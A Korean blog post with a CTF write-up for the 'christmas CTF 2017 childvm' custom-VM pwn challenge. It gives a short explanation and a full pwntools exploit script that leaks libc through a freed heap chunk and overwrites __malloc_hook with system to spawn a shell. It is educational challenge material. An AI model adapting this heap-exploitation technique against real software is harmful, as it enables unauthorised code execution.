티스토리 뷰

CTF write-up

christmas CTF 2017 childvm

marshimaro aSiagaming 2018. 8. 10. 05:22



keyword : custom VM, pwn




간단한 VM이다.
opcode를 입력받는데, 1byte는 어떤 동작을 할지, 그리고 4byte씩 2번 값을 입력 받는다.
이는 src, dst로 사용되게 된다.


이러한 형태로 opcode가 있는데, valueCheck에서는 0~3의 값인지만 체크한다.
malloc을 하게되면 buf[3]의 위치에 malloc chunk가 쓰이게되고, 이 값은 0x80 opcode를 통해 buf[0]의 위치로 쉽게 가져올 수 있다.
그리고 free를 통해 해제할 수 있고, puts를 통해 main_arena + 88 위치를 leak 할 수 있게 된다.

nbytes는 buf[1]의 위치에 있으므로, 원하는 바이트만큼 입력을 줄 수 있고, leak을 바탕으로 malloc_hook 등 필요한 함수의 위치를 구해와서
간단하게 overwrite하고 쉘을 따면 된다.



solve.py

from pwn import *
import sys, time

p = process(["./childvm"])
context.binary = "./childvm"

def mops(_opcode, _src, _dst):
    opcode = p8(_opcode)
    src = p32(_src)
    dst = p32(_dst)
    p.send(opcode + src + dst)

mov = 0x10
malloc = 0x20
free = 0x30
magic_mov = 0x40
sub = 0x50
magic_read = 0x70
chg = 0x80
malloc_ptr = 0x804A058
buf = 0x0804A04C
exit_got = 0x0804a020
nbytes = 0x0804A050


mops(malloc, 0x80, 0x80)
mops(malloc, 0x80, 0x80)

mops(mov, 0, 0)
mops(chg, 0, 3)

mops(mov, 1, 0x88)
mops(sub, 0, 1)
mops(free, 0, 0)

mops(0x90, 0, 0)
leak = u32(p.recv(4))
libc_base = leak - 0x1b27b0
malloc_hook = libc_base + 0x1b2768
binsh = libc_base + 0x15ba0b
system = libc_base + 0x3ada0
log.info("leak : " + hex(leak))

mops(mov, 0, malloc_hook)
mops(mov, 1, 4)
mops(magic_read, 0, 0)
p.send(p32(system))

mops(malloc, binsh, binsh)

p.interactive()

'CTF write-up' 카테고리의 다른 글

0x00ctf - 2017 left  (0) 2018.08.14
christmas CTF 2017 childvm  (0) 2018.08.10
RealWorld CTF kid vm  (0) 2018.08.07
codegate 2015 steak  (0) 2018.08.05
ASIS CTF 2018 message_me  (0) 2018.08.03
CISCN-2017 BabyDriver  (0) 2018.08.03
댓글
댓글쓰기 폼